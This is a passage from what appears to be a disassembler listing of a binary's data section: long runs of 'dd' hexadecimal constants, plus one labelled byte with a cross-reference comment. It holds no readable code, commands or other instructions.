85624Eh, 0F15E9040h, 3BC38C97h dd 7C134707h, 8308E2Bh, 3B7D532h, 0A9685F3Eh, 0A10036BCh dd 1F3550AAh, 0A981FBB4h, 43100F60h, 0E11C2329h, 0E443407Bh dd 7F09ACh, 47EB89B1h, 8F19A376h, 82B08AF2h, 0BC5F400Dh dd 0EAEC405Bh, 30917811h, 7850473Fh, 3000238h, 6A3CF343h dd 7FD3BDB6h, 8E9500B2h, 32B48D5Bh, 755CAEA3h, 909D1FE9h dd 0E911A9C7h, 42B63C50h, 5C7C007Dh, 46799FB4h, 26FAF806h dd 0D1F05602h, 40FAB578h, 33368A77h, 92080131h, 0D5712100h dd 0F1315AEh, 847900DBh, 8A25EBA6h, 0FF0170CAh, 0B72140E1h dd 0C5CC3254h, 3BE7E88h, 2FD7FB46h, 493DDD84h, 3C6B2973h dd 18FB230h, 3C6C54E9h, 0BC9D40BEh, 9EB55106h, 1042E1h dd 0DF2D86B1h, 0D01B52EFh, 0BEA1903Dh, 0F77D03DEh, 26EA5553h dd 30429180h, 0EF429D18h, 900608C0h, 0C3FDF22Fh, 0A7465119h dd 6D80695Fh, 0ECF5E3h, 19522C96h, 0BB9102C6h, 0F4DFE603h dd 0B8595DCAh, 3015F7E7h, 50F05B6Fh, 0C501AA42h, 0DEC07F13h dd 88884C4Eh, 3D01EEE5h, 0B805FBD8h, 2D8BFD40h, 3F18C335h dd 9ED8B06Ah, 8A08E8AEh, 0AA9165h, 0FABF72Ah, 0AC0BB3E9h dd 10EA8C2h, 0D05698A8h, 6657A9ECh, 96F8958h, 56D03863h dd 85A8F0B0h, 0F24C0094h, 754EA18Eh, 21017150h, 64075D8Bh dd 60C8024Dh, 72F50DFCh, 0F0786599h, 2E00DB18h, 7F50581Ah dd 602F29E7h, 5A5959F0h, 0C148E667h, 0A66800F8h, 0A8314C5Ch dd 0FA451F0Dh, 43A006C8h, 0D4383002h, 9B6600A2h, 0C1BBCC7Fh dd 1A6E0380h, 9FF25978h, 0CD9BC0EDh, 45007987h, 61C7EA5Dh dd 8681B9h, 8A06558Eh, 1F5096C6h, 2C524524h, 2543DCC0h dd 802091E6h, 364DAEA1h, 208697D9h, 9A007D2Ch, 87D4B577h dd 36EE550h, 1BCD69E2h, 0F8079D55h, 84226693h, 328511Ch dd 8F4A9BD1h, 42B5D5FCh, 5DC2AA80h, 0D3ECC490h, 0A8084400h dd 4D4BB14Ah, 48593A72h, 0FE530A00h, 0E29E8AECh, 2A6EE800h dd 65A868CEh, 467377h, 5A476A52h, 0C532D9E0h, 35081D1Eh dd 9BFB3307h, 2C38B8A0h, 0A2590088h, 8CE8E11Eh, 58C0F3ECh dd 3AF8FC4Ch, 79500352h, 77F9CDABh, 210FD3A3h, 0A1F8F48Fh dd 0DB19BF0h, 221C75F4h, 50C8951Fh, 0F8F9C043h, 77E615BDh dd 0F5AC8F85h, 0C73A32A1h, 0D48EF56Ah, 4A1C6263h, 1A0CBDE0h dd 2228E1h, 7212EC82h, 77DAD498h, 73300BF2h, 4F749E9h dd 471E05F1h, 11B860E4h, 0FF0440h, 54D731FBh, 3F2101h dd 0D0593971h, 0DE64BA2Fh, 19BC950Ch, 7DB30F8h, 530514A6h dd 47F487ABh, 609C7C8h, 348D18C9h, 0F9380685h, 72074C2Ah dd 0C006EEEDh, 7F8669DEh, 9B7A400h, 319E495Bh, 18AD62B1h dd 0DE11F999h, 81A257C4h, 7A185223h, 84874318h, 4DD0221h dd 45BEFE48h, 0C04D1E6h, 4A22A7F2h, 0DA5818A2h, 0C572E11h dd 5221A4B4h, 633C4230h, 443E24A5h, 22A51F0Ch, 424A776h dd 689A4448h, 65331DEDh, 6C00FAA6h, 81DDD4FBh, 0CA1ECCBh dd 86EF0C10h, 10127121h, 30BCC493h, 0F1189F22h, 83F4444Fh dd 6C023CA8h, 9FE70CA1h, 551EB431h, 3154A08h, 6AD903C8h dd 8FB91810h, 2AC84h, 3839982Ah, 0F3270175h, 232E294Fh dd 0CA03F8B0h, 4C877700h, 904E4002h, 0EE45167Dh, 12DD0016h dd 1A4FF29Ah, 10186A01h, 6DCA75F9h, 0CDD54081h, 0E3C9F307h dd 0E464D00Eh, 0A970196Eh, 7CCB6F70h, 50EE0BF8h, 0B10148CDh dd 0D49B98B4h, 11001823h, 0C4AB4C57h, 559EAh, 0A96120F5h dd 0DE998FDBh, 9085371Fh, 0D0DD26C0h, 48861A22h, 6400A4F7h dd 0E3CC9A8Bh, 5502DF99h, 258D61D7h, 1CBEF6h, 4B9840D9h dd 6DC6730h, 0A880AA60h dd 74899DC7h, 8565007Fh, 0F630D83Ch, 3036EC9h, 37D9C382h dd 0DB593B81h, 30E8DA9Eh, 7A34C680h, 62036607h, 54535A97h dd 10D96040h, 8DA4841Ah, 0C12750C0h, 5110E7D3h, 14038095h dd 8202F0C9h, 34DE54A9h, 0A1975808h, 7A00E13Ah, 0D3C6031Fh dd 1900E2C3h, 0FF73F241h, 3B0F9457h, 0B004B07h, 0E61F3227h dd 9D003847h, 0ECC079D9h, 3E9B0AACh, 4400B985h, 410772CEh dd 5E000437h, 2176F21Eh, 0F0EC70h, 0BE9091BBh, 0EC3D4FFh dd 0F2406200h, 7A41DC74h, 43600CF5h, 8881709Ah, 85F9539h dd 88217E67h, 6A701C15h, 0DE6D00BFh, 6517983Dh, 0C31D884Ah dd 0D9007D07h, 0AA248A59h, 25CC0C0Ah, 7660DA05h, 42C13703h dd 181DB204h, 858FF10h, 0C330C407h, 0A946A13Eh, 0BCDC1DCEh dd 52303EDEh, 0B2CF8419h, 34871B1Ch, 0F873420Ch, 8336D9Ah dd 0C6189C20h, 49223C20h, 720BD308h, 316CDA0Ch, 846557E8h dd 1A911B00h, 9D3092BBh, 0E8FBC0A1h, 28037605h, 33FF1288h dd 9118019Ch, 0F447B8F5h, 41B880F0h, 35BAD7D3h, 6A7286h dd 11120BACh, 0FB1F94EFh, 0B906EE74h, 693599CBh, 4D41418h dd 48878842h, 31079Ch, 13F06D8Eh, 84389A29h, 40E6020Ch dd 6A6C0247h, 7C720AA7h, 0D342F480h, 0F91D0571h, 0A0281178h dd 13CDE21Fh, 0FB24BC00h, 0A0311E0Bh, 0D348E80h, 95052F5Fh dd 60104058h, 59032230h, 9A61979Fh, 0F606971Dh, 0E2041940h dd 1750A11Ch, 3CE429B1h, 0F487E982h, 0F20088BDh, 6575F5h dd 5AFE951Eh, 0CFFA6E8h, 49905750h, 0C861902Ah, 1AE81662h dd 0C9B82168h, 5B0801Ch, 395C29FBh, 1030AC30h, 0A10EF5E7h dd 0C841E2A7h, 48FA13DCh, 49DE6F00h, 7A4849h, 5B623DF6h dd 186358E8h, 0AA57C02h, 401E2649h, 806F6508h, 887B426Ch dd 92E5D407h, 5C00FA1Ch, 0C201F913h, 78D3BA71h, 6DF886E3h dd 1B054167h, 6605248Fh, 48ECA841h, 51806ECAh, 3B011CC7h dd 0C5E81B6Ah, 28A06350h, 0AED421h, 0B6F6793Fh, 0DB5020C7h dd 0B90080E0h, 76E1E392h, 74F4AF0h, 1CD2BFAAh, 9AA99089h dd 1E282240h, 0F9ECACE7h, 5DA10560h, 0C097A4D6h, 5C213BF9h dd 5091ABF4h, 96709C67h, 54349FF8h, 314829h, 7387E1E2h dd 115B6F63h, 21BFE3Ah, 7DF14BA2h, 20007730h, 0DDB52483h dd 94BB1E00h, 28501F56h, 0FC5A1C75h, 0CEC65844h, 2503E622h dd 3915DD2Bh, 0CD8498D2h, 66450050h, 0F0447891h, 0F20CA08Bh dd 30DDFD02h, 5C82309Dh, 5B139438h, 47C15100h, 555DCD26h dd 0AF3E002Ah, 45D57ED6h, 4078F87Ch, 59484200h, 0CC843ADFh dd 580806D9h, 48775386h, 782EB50Ch, 1FE42160h, 80FBE528h dd 0B67D47C8h, 0FD0AF3D8h, 18E02A3Ch, 80613008h, 835E4601h dd 7E06AF3Fh, 442FCE22h, 2D78C829h, 4C60F783h, 49E4D8F2h dd 0A04B00EBh, 0DC4DE65Bh, 9E39E13Bh, 7C460634h, 541F22Dh dd 2A75CA43h, 820808F6h, 0E3DF6511h, 407DDD0Fh, 0A8C69477h dd 74FC1D50h, 87A40197h, 80B52C0Bh, 3B952578h, 1E3D811h dd 0C4FACE7Eh, 0F4936ECDh, 5409A208h, 80B23813h, 0B8F61BE0h dd 0CD8AADCh, 0E0FF0820h, 1EA2188Ch, 522F1924h, 765E5614h dd 916705A0h, 0E41F4695h, 9D93DDC3h, 0D04101E4h, 9A8DE36Ch dd 3628E04Dh, 50746414h, 33661EE8h, 789FA2C0h, 115552Bh dd 0BD5A1876h, 2250083Dh, 0D5D9C420h, 5024C810h, 4C974104h dd 0C8492Dh, 72A505D0h, 0D51E24F8h, 0D0D0D776h, 95758706h dd 2D00C993h, 0DB8CC59Eh, 0C051910Eh, 786AAC51h, 832C2BD2h dd 0AA1E7009h, 32CB50Fh, 2485E25h, 0E35ADC1Ah, 3090FCB7h dd 0B1C5A59Ch, 481F7A2Ah, 709B0580h, 3E77A3A6h, 99036F71h dd 4523842Bh, 0EA2CD2BFh, 0DE598A0h, 2E1C834Bh, 0BB80ADD1h dd 0A731DB7Dh, 0FE660078h, 53911FDFh, 0F4A1425Dh, 9EE10E9h dd 237EB2h, 10C64BBAh, 0BD6F834h, 6A0DA507h, 2DB51CE9h dd 9F541800h, 8491D9h, 0BC8B9D72h, 0E0F6C641h, 0BAF30B00h dd 7F5B1126h, 187980A0h, 4A49FA00h, 361D5610h, 0F10203D5h dd 0F7DB9CA6h, 29F2E809h, 0FF102022h, 780A9h, 37555BDh dd 349B18C7h, 0ED678A00h, 250EA6E4h, 523C768Bh, 0E13DC8CAh dd 0C0A0D6AAh, 82C80360h, 40789DAEh, 0A8FA20C6h, 6B183DC1h dd 2C5D0280h, 791B2EB3h, 41A620CCh, 97C737E4h, 3F646059h dd 6007031Ah, 685027FEh, 790F22B0h, 0AF6EA38h, 0B6AADCD4h dd 0F8803EF4h, 222ABBE5h, 46C1D257h, 8BC3DDAFh, 7D1D5FCCh dd 0A93602E9h, 0ACC99203h, 42848483h, 0DEEFBA99h, 9C21EBE2h dd 242B5854h, 3500A904h, 1F815C5Dh, 7BDC9AB7h, 5253FA3Eh dd 0F9038083h, 77115C0Ch, 0E4E7C03Fh, 1088FF19h, 514560DAh dd 854395C9h, 98DE4D00h, 2E66AD80h, 72B100B4h, 9EA687Fh dd 0EC00303Fh, 442CF0DBh, 0E6C71F1Dh, 5C161F52h, 2BC80026h dd 70A04FC5h, 7505B038h, 0CABC8000h, 9BA46FDCh, 1F9F39ABh dd 0DDF67007h, 72370108h, 4F3087C4h, 204CD542h, 0E374036Eh dd 72AD2520h, 73C1300Dh, 8E0913Bh, 1319C0AFh, 0EEE1A995h dd 46F6A300h, 479B7EA2h, 718FECE2h, 9CEA30ECh, 3B887260h dd 0E40FA4E2h, 44350929h, 6300E07Bh, 8DA1997Ah, 0C5F81F03h dd 1C5BE371h, 0C08A52C9h, 1019DD63h, 0E00895EEh, 3E77EDCBh dd 7A38780h, 0FD423953h, 21E31000h, 0F6B3DAFFh, 0E28E0057h dd 5C2EE47Ah, 6777878Ah, 3F919660h, 7A93746Dh, 1EA707EDh dd 468E3044h, 0D600E938h, 83FC7457h, 0B6C71F4h, 0CC293B4Ch dd 0E8C4680h, 0B700AAB3h, 0B828DC41h, 517098EFh, 99F3CB6Dh dd 0B0F1DB76h, 0E8D99450h, 4CBB0AD5h, 21E43AEDh, 18887174h dd 4EAF03B7h, 0B169C6F8h, 0C32DA2E0h, 0DF51EC64h, 1A07DC60h dd 1149DD23h, 553E8Dh, 188EF505h, 0FEA0D6h, 7F6D3453h dd 0E202BF54h, 0E7B19D01h, 33AAA72h, 76DD180h, 0C4D51BFFh dd 9CCA2C00h, 0AC17DE19h, 0AD4C0009h, 0B2630DA2h, 9D00F80Bh dd 38C75745h, 2BBA94Eh, 58F43E41h, 61C007B9h, 0A00FC6B2h dd 40F5FF48h, 451A769h, 97BA0249h, 6E7D718Ch, 90F7AB87h dd 48AB95ECh, 0B87AB702h, 80474F22h, 7FC731B6h, 369C3FC9h dd 6EDE1C07h, 82C2E044h, 77002989h, 0B4190122h, 960EACh dd 0E8BAB139h, 25953A7Ch, 3D1B4E07h, 2480694Dh, 1F44C790h dd 35A0F33h, 0D16E6D1Ah, 0F4698181h, 1700F34Bh, 36F66CB2h dd 9033508h, 97B93EFBh, 16078FDCh, 0EC2215Ah, 0F0AB4027h dd 11B7359h, 390ACF86h, 0E4CC753Ch, 100699Fh, 4F6FD807h dd 0C3E0955h, 0E547D3ACh, 34F84818h, 85B4BC07h, 0E6E4B391h dd 6B4EF003h, 862A92A0h, 39A91C60h, 0C7D8710h, 0D5D05925h dd 293CD710h, 0BDD6136Eh, 6A3C8000h, 5CFF0Ah, 270F721Bh dd 5EDE3281h, 0FB425603h, 0D07FA944h, 180AE061h, 1413AE6Bh dd 3C05E1FAh, 2A2243D8h, 630B11C0h, 4879033Fh, 77E5320h dd 0B1AD6BC0h, 30F977FEh, 6439D514h, 9EF880BBh, 72B2FE57h dd 699458B0h, 0A0BED800h, 186ABB0Bh, 0FE9A7E00h, 0E562ED7Fh dd 0F06D0F99h, 960D1E2h, 8BB5942Bh, 29DE8107h, 0E2066EBh dd 123208h, 9A146337h, 90254F94h, 2F019300h, 19D5051Bh dd 3A5773A9h, 7B5162h, 0EF9F3D6Eh, 33B5EA44h, 1E0F9C48h dd 45973E0Eh, 22B2EF01h, 1AECABBAh, 298000E6h, 8D789EC4h dd 0A2004117h, 2E3CAC18h, 691289h, 381DFC09h, 43F67334h dd 91079E00h, 794E8CE9h dd 6080A7Eh, 103AF3h, 26CAFD0Bh, 7C26DD2Ah, 19004050h dd 7CE4D27h, 0B669006Eh, 0BCD1D2B5h, 3C0E3B77h, 60897C06h dd 1EAE74C6h, 0FD2507CCh, 43760C69h, 0ECABBE4h, 0B0B61AE3h dd 0FAD5890Fh, 0F8A76041h, 3F19EEE8h, 2680A001h, 71B517FDh dd 89197F91h, 0F429E702h, 61C39E08h, 11720917h, 11FB3429h dd 0B421E780h, 886FED08h, 0BC88FFF7h, 0C0A91EEAh, 3010E898h dd 0E23D5265h, 561200B4h, 0C55E02D7h, 0EF910061h, 0E86CA05Fh dd 7EF2F2F9h, 74B61D00h, 0F7D29516h, 27100C4h, 8D124BFCh dd 0AF3F7355h, 3C93806Fh, 0F82FB472h, 8E7E3E24h, 537D4300h dd 0D4C2261Ah, 9938A2ECh, 8545848Bh, 0C80A38Ah, 36C395h dd 0BC37CBFEh, 29AC4D70h, 2A7CA39h, 656B851Ch, 9BF4C0A2h dd 0F12A0103h, 660F8407h, 6F75F4AFh, 7B1C5E0Fh, 207F8047h dd 0F8D1058Ah, 42120085h, 3D9787E0h, 9200A283h, 0A5726B84h dd 4880D6C9h, 1A00AC32h, 68153033h, 91011728h, 1F641637h dd 47D05DDAh, 0FA04003Ch, 0A1D27276h, 0BE0056B2h, 3610BF8Eh dd 0CC5980h, 77E2EB07h, 0B539AC5Dh, 0DCAE7C06h, 961BE7Dh dd 4C637216h, 0A4940800h, 970099CDh, 3CDDC383h, 712DE28h dd 6AE6F1A9h, 0D86D2078h, 0B600B09Dh, 2661C66Eh, 3FD60556h dd 0E5077118h, 0C070D765h, 4F9369Eh, 23631416h, 1AED6D00h dd 1C735778h, 6828A118h, 0E4FDFCC4h, 0B83A50ECh, 8F5400B7h dd 0EEE98C2Ah, 0D10F7389h, 407A1C2Dh, 5DB51E64h, 0B83700ECh dd 97BEA887h, 0E61C95E4h, 0B9C0A015h, 434F96B5h, 3CC37C5Eh dd 260F73A8h, 9BE019AEh, 0FEFF10A9h, 23F19A01h, 4D163A68h dd 748800D7h, 31D7589Ch, 0B350F09Eh, 2F0017B4h, 0DFF689BFh dd 48DCD6C7h, 401E18EBh, 70AC2887h, 0D3E300A1h, 0DCAF27F1h dd 7E4080FBh, 0FC380030h, 78C2F4C7h, 460C6575h, 71D19E52h dd 89DA136Fh, 4F3800CCh, 0DE47EA28h, 8F96C000h, 1D028DF8h dd 74F14885h, 716A3800h, 0A75E1B31h, 64A8D417h, 4057A603h dd 0F818B045h, 2A630044h, 0C4B76167h, 20077BAEh, 5A3F3554h dd 2E1E2670h, 0E92011Bh, 564503EEh, 9EE57096h, 352CFE00h dd 0C670C0A4h, 8A4D0076h, 0C7B5A9F4h, 62703450h, 1E0096B0h dd 618B7DA8h, 30D99EA4h, 7EDE4CEEh, 360E7C34h, 606C11FAh dd 60E1B81Bh, 5A8B0963h, 34258094h, 25E4C04Dh, 961CBC62h dd 138A33Eh, 6EB269EBh, 2E8F435h, 0A07200E4h, 0BCF7E2BDh dd 14008A37h, 6E2EB93Dh, 287CAF45h, 399B8B0Bh, 4790874h dd 3B03C61Fh, 7C88072h, 0D260DF43h, 0AA216722h, 9582070Ch dd 41F03D73h, 304313A7h, 580049D1h, 1CA97D4Dh, 12DE75F4h dd 16EFD859h, 5B520044h, 0F377B1E1h, 6423700h, 0B8D3CC1Ch dd 26E3142Dh, 23009EBFh, 81DAFABCh, 0EC2E0BB5h, 0DD247288h dd 519A500h, 0C87C37Bh, 2EE0B92Ch, 1B005210h, 86ED0B25h dd 0B2406Ah, 0BD73FCACh, 181DFB9Eh, 151CE098h, 0B538002h dd 6B913A00h, 3FEA4Ah, 3385A247h, 0B97F4B8Fh, 0DC6748h dd 98CD2EA3h, 1520DE4h, 6D0190CEh, 0DC93EF79h, 7639772Dh dd 1AEC00FEh, 0B44B6E49h, 0A6AE00A1h, 0E23934B3h, 8A073C2Eh dd 0F10B599Ch, 7F49CED0h, 9DE255h, 206D458Dh, 7EDF0173h dd 29964E00h, 1DCBF0BBh, 182E6DAh, 0E9B18C69h, 0C43AEFDCh dd 105BCC9h, 8AF04A36h, 3276CC03h, 88A1F896h, 910B00EBh dd 8651DBB5h, 5E001E05h, 0D77AA57Eh, 0E003F8h, 0B8CCAE6Dh dd 0DF11A9DDh, 0C01C2890h, 81505C94h, 0DBB19E00h, 8FD88D85h dd 0B0CF9500h, 0DC4EE7D1h, 0C69300AAh, 6720DAACh, 22051888h dd 11B3D862h, 48EE1492h, 2CF1F2Ch, 0D6BAF401h, 284003E2h dd 4AF81E27h, 0E54080h, 133002F8h, 0FE44AC34h, 0A68F4300h dd 59577BA5h, 45C107EEh, 0E0E474E6h, 28340BD8h, 9078E3Eh dd 8CB856h, 0ADF89FBCh, 0CE8A07E6h, 8FE980EDh, 0F972E740h dd 0B2001F9Dh, 4FE104DDh, 36B361h, 506AA1A9h, 3B1195FFh dd 5D0088B0h, 867BAD47h, 0DEA0DBh, 0FFCF234Bh, 65927802h dd 30E1C61Fh, 5E678200h, 3F3B5Dh, 45DF90C2h, 1892F793h dd 0D308970Eh, 0E15FA458h, 0DACEF480h, 10FF0029h, 0C8637DBBh dd 5A01474Eh, 0AA3562F7h, 0C0C0C682h, 0BD880060h, 734303A6h dd 0B30925D4h, 47E14621h, 0CFF7900h, 1D709027h, 0C0092FE9h dd 0B652C9BEh, 8F00A7FDh, 3CD574CCh, 92C47EFCh, 10D058ACh dd 55FAC50h, 6C800692h, 4DCB8029h, 9F90A5C4h, 9B79197Dh dd 7DEE8800h, 9CC0611h, 434D006Ah, 6DE6276Eh, 81091B72h dd 87257C32h, 0FFE0DFF8h, 78F5FAC6h, 574F1CECh, 0A4C84197h dd 0D0872199h, 0FE0BDFB7h, 5A42EFh, 437772B3h, 8A6738D5h dd 5B00D848h, 0D254F9Dh, 0A767D4A8h, 92F1891Ah, 20CC397Bh dd 7C4F03A0h, 62E218C9h, 0EB8CC1E5h, 5A84700Ah, 89B37600h dd 0D5682E15h, 9B3C0126h, 7AE07561h, 34C8315Fh, 0BF002374h dd 0E908996Ah, 3693D47h, 0DBF4EB3Eh, 1DA0AFD9h, 0D8C01C8Fh dd 4AB1B996h, 3532004Ch, 7B187DE5h, 100B46Eh, 53CE217Ch dd 98CF7DFh, 63EBE1B3h, 0FCA05C8Fh, 0C4FF7434h, 0BD1F6002h dd 0E05D05B0h, 381B64h, 15CA0BE9h, 4FEFDD86h, 0AF631600h dd 0B6F15640h, 0C9CF090Ah, 4C801D38h, 25875574h, 3FD84A00h dd 0C26C10E3h, 0E1340770h, 1002B80Dh, 1F7317F7h, 1856E009h dd 0C02D8F0Fh, 48B0672Dh, 683930D9h, 0FBBF5B21h, 1AE1A700h dd 0ED244471h, 7020032Fh, 0A8328604h, 0C390DCD8h, 81D0B900h dd 7CBF05DAh, 0B74000F1h, 1B0BBD4Bh, 0FE002678h, 6AB8C1ADh dd 78AEC03Dh, 0BD320046h, 0B28F29F7h, 0D907099Eh, 0E6DCB17Fh dd 3224BC50h, 0AEF3AB4h, 7C0B8E80h, 0D8F71257h, 78181C30h dd 5104C5h, 0BDCE9967h, 0F7952921h, 4F7B6403h, 904AC375h dd 0D2B343h, 21B9FE86h, 266B593Bh, 5B7B3E00h, 0ACE050DAh dd 22FB0FD6h, 3121B244h, 0E440976Eh, 6C004E13h, 7F39030Eh dd 0F11F45h, 94D7C311h, 3715514Dh, 4B0B9770h, 8081C11Eh dd 9A89434Ch, 35190041h, 68B8456Ah, 0C20225E9h, 0E8503E39h dd 0B876C3B5h, 36197Ch, 6F8D331Bh, 5CE01016h, 0A66CE307h dd 4E40463Dh, 0E11C019h, 0C5CA7E4Bh, 0F59A65E0h, 0EF00B758h dd 74383A84h, 98E3AAh, 97273223h, 0C2D2AED4h, 0D6BD7A00h dd 0CE5F65A6h, 1C9C006Dh, 1822C7A4h, 0CFEA6C89h, 39A283Eh dd 0A90B06D8h, 0F7869071h, 0F68C000Ch, 0DD6EDA22h, 3B07A2A7h dd 7D0A500Fh, 0B01897D0h, 0E34A0033h, 8B9A57A6h, 0A4167CE7h dd 1401C63Bh, 37D215A2h, 0B0EB71C8h, 42D91E8Ch, 70B7980Fh dd 850090BFh, 0E6CB5847h, 3C406D5h, 715D8A17h, 4BF97EA8h dd 4F0BE4DCh, 2100927Dh, 6A8DE41Ch, 71F1B7Dh, 7099CD77h dd 0C4ADF04Eh, 510C25B7h, 68D7D3AEh, 0AC065F26h, 15080F7Ah dd 82800027h, 7FCD9EAAh, 1C02B4A5h, 0BA67C021h, 0DBA99C13h dd 0C0E82509h, 7C1800E6h, 7F6C159h, 0CDF5B463h, 679F80B8h dd 11006EC0h, 0F83C0C54h, 71F5D0Fh db 0D6h byte_530055 db 0D3h, 0E3h, 0EFh ; DATA XREF: ___:off_437DC4o ; ___:off_437DDCo dd 2720E05Eh, 8350B39Ch, 900040F0h, 66CAB7E2h, 3B96EEh dd 0F8BDDDA3h, 44180AB1h, 0D7C0755Bh, 1EEA56FBh, 8031D58Bh dd 9BA0C1EBh, 0E3000D09h, 4553DD70h, 26B264h, 0EFA9D47Eh dd 0E8AAA7CBh, 0F6E72400h, 0C5B6EC18h, 9330005Bh, 0FD81A1D8h dd 41014FB2h, 0E6CA01BAh, 0AFC4B4DEh, 44C10BDDh, 9B00D01Fh dd 0F2C9A5ABh, 0BE19753Eh, 0CC950181h, 5F078702h, 126DA181h dd 0F90D666Bh, 0D0FAE9ADh, 8B7C9817h, 1C71E51Eh, 32625342h dd 4F808F7Bh, 2F05212Bh, 8EB85A66h, 0D7836A03h, 0CCB818Ch dd 0E4E52698h, 0EEDCF00h, 0DB3E8EB2h, 0D133009Ah, 0DD5F601Dh dd 2900C9AAh, 28B32E5Ch, 480C4EC1h, 0CA00F325h, 0B7944A72h dd 0A70012F0h, 0C78F6979h, 792078B8h, 62916244h, 0D9C0435Fh dd 0DFE35DDh, 7347680Ah, 0AE009BAFh, 5A062FB3h, 66900099h dd 0D7E4BB4Ah, 53BE971h, 6AFF00D2h, 0CDAD0C01h, 95080017h dd 0F466423Bh, 704841DAh, 2C240007h, 5CCCA8C7h, 5DED0068h dd 95F97565h, 7839ADB8h, 0F3C61C96h, 63BBA980h, 16656Dh dd 83685479h, 0E01B5DC1h, 0C00F2F0Eh, 0E4F542D1h, 280C6104h dd 0FADE3EE4h, 2CEB00BAh, 0DA551CBh, 0AF03FE1Ch, 28EA071Fh dd 7D92F732h, 783CE04Dh, 6E7D9Dh, 0DD2F0126h, 0FAB3316Bh dd 0F763E91Dh, 801D528Bh, 4D87663Dh, 78D63D8Ah, 0FFB38280h dd 0CDB41FDh, 4E1E9100h, 367CC548h, 99CF3F9Fh, 0F8D73D80h dd 0C4EC045Dh, 0C2002CF2h, 0E94BF91Eh, 0E4FF7383h, 9C6B0026h dd 0C899A60Ah, 0ED006109h, 2827B9A7h, 4168CEh, 71E8FF87h dd 0BC1AFB6Dh, 0C885E000h, 4AD6B777h, 63E00CFh, 48BF5189h dd 697A97B4h, 0A20739E0h, 164EB636h, 0FF5F841Bh, 9A9C3EC1h dd 0E07E6AD1h, 8406B32Eh, 91F2AEEh, 90A50F41h, 927FE6h dd 6A7D4427h, 0ED0079C3h, 768A74D4h, 6CE9Ah, 86C95FA0h dd 0E1D14631h, 360133Ch, 6D40B5D2h, 3450FFA9h, 9DAB8Dh dd 77E1A6AFh, 76E5B7D3h, 57B62C1Eh, 0B5BE1100h, 3DB24B9Eh dd 7180BBDDh, 0B445C68Dh, 800004E1h, 810D17Ch, 182CBC89h dd 21BBE4EFh, 600FDB42h, 603D2422h, 168F501Ch, 617400E2h dd 0FD79F25Bh, 7C00178Ch, 0A9639D2Eh, 2DDA1Ch, 0A856F80Eh dd 0E869C72Fh, 0C900547Eh, 6C66286Fh, 261A7E3Fh, 6DF8043h dd 0D884EB18h, 6A770300h, 96502C0Bh, 5B3400FDh, 930CE1A3h dd 32E8A21Ch, 76D75300h, 0DE5AC479h, 0FE4B0094h, 0B8389596h dd 0EE000497h, 3510BD31h, 53F4D4h, 5928CB66h, 12A5D6DEh dd 0ED119C00h, 5A23B2D5h, 0A91A005Eh, 8284DD09h, 0DE185146h dd 8B287A83h, 68AE07F5h, 714B88DFh, 9F04470Ah, 0C2C09880h dd 0A637A20Ch, 0C080A08Ah, 0B67858EFh, 0F3B8CA00h, 0B219C41Ah dd 26203F00h, 0FE352C50h, 8124037Ah, 8B3C4311h, 0FFBC3801h dd 4A656015h, 0C29B108Bh, 74A0A580h, 0E80088B2h, 0C10F5A97h dd 71432F2Ch, 0F47F00F8h, 92A7DF9Ah, 89146F8Bh, 7D879EB4h dd 0E258E800h, 0A32B7E15h, 0BC3B0074h, 3DFC3744h, 5200DC49h dd 5BB7B809h, 0EB7BCEh, 8C7F1510h, 0E0B44669h, 872C0D01h dd 0B009C611h, 57308BE1h, 9A6201EBh, 2AFD5BB1h, 0E9ABE0C2h dd 5F176800h, 99DC744Bh, 3B890FEAh, 9020F15Ah, 4A8827AFh dd 0E7D4AE0Eh, 3116956h, 0E8C39CF1h, 42C870h, 309D8CCDh dd 456C264Dh, 0BB3B7A7Ch, 26D0183h, 0DEF638EAh, 17F171CCh dd 29D9029h, 0C1A3513h, 9F60C48Eh, 12727FC4h, 7EE65B07h dd 86A1664Fh, 3A80E2D4h, 0E02BD077h, 2F060D96h, 12D5BB25h dd 83D20098h, 3BBA983Dh, 0D900E7EEh, 0BC86EA95h, 3654EA7h dd 486A9202h, 4CB0509Dh, 1900F747h, 2FDAFC78h, 3858B7DBh dd 2E008ED2h, 618FC676h, 0D7001F3Ah, 5229E538h, 3B6C2D34h dd 791385E3h, 312400A2h, 0DE1DA510h, 0D0F58D03h, 8876627Eh dd 3DC96A09h, 8480237Dh, 1DDB922h, 0B490AA57h, 31692700h dd 9AA1FF11h, 0A0C00C1h, 2EF28D5Fh, 4C75054Bh, 282CA500h dd 8FC19E52h, 7E9000EAh, 0E96F1849h, 7200959Dh, 0BF7344CBh dd 1632CFh, 0A957A168h, 0BBD1C48Dh, 0EAD81D00h, 4CEEC0Fh dd 8F7A3B3Ah, 3D2514ACh, 25F2A89h, 79D82B8Bh, 4F2D361Fh dd 6325F080h, 7ADA71h, 9BCA0AC6h, 24918C3Fh, 2DE5FC03h dd 0A054909Ah, 0AAB5C2h, 39E23D22h, 0F192D90Ch, 83E13401h dd 0ED3F0667h, 7C94FD0h, 7325536Bh, 0D4B07016h, 5C250E63h dd 0EFDE32h, 1ACD7B98h, 9F3A24A4h, 0EA7282E2h, 40505BE7h dd 781020h, 0B20A6E36h, 629C61F3h, 394F400h, 32574EDAh dd 356C00D1h, 19DCE78Ch, 3E00BD3Ah, 83C3608Eh, 44511Eh dd 0AF2155BEh, 0CC23A026h, 9DBC58h, 9C6EF485h, 0DB8269h dd 0B5E944EDh, 0CB61CE5Eh, 0D0911B00h, 34F6C17h, 6B5A0068h dd 34489AEDh, 5C058738h, 618A1851h, 0ADE7F3C0h, 0A9F90073h dd 4AACC437h, 0DA1DD863h, 7B80446Dh, 0C622856Bh, 955005Ah dd 3386BE96h, 52007167h, 62AC4864h, 18878398h, 38DC09C5h dd 8F004F22h, 0FEB1A5E6h, 9DF82Fh, 591C3F3Eh, 6A1A1B58h dd 0FB00257Bh, 0DB7A1663h, 499518h, 130A88B0h, 0AA868501h dd 56D76D1Fh, 0C0509083h, 0A759B828h, 647B1E44h, 23BF0046h dd 913B115Eh, 5D802B00h, 0A7884CABh, 437C00B7h, 6E9DF8Ah dd 0FA041E2Dh, 2B26FE44h, 8FC3A980h, 0EC8800DEh, 1D8EC7BAh dd 0E47F3F10h, 72008BF6h, 33794DFCh, 1DFDFAEBh, 0E930A5h dd 5CA7D880h, 9530C16Ch, 8DD7A403h, 396014DAh, 1E0082F9h dd 0A7AD6640h, 56F2B730h, 0B1224500h, 36E96190h, 86750080h dd 0A4E150FBh, 0BC739385h, 0DE001C74h, 657A518Fh, 1CD466F8h dd 5D3F2888h, 1D6481EBh, 0DD901769h, 0D797D440h, 8A80C700h dd 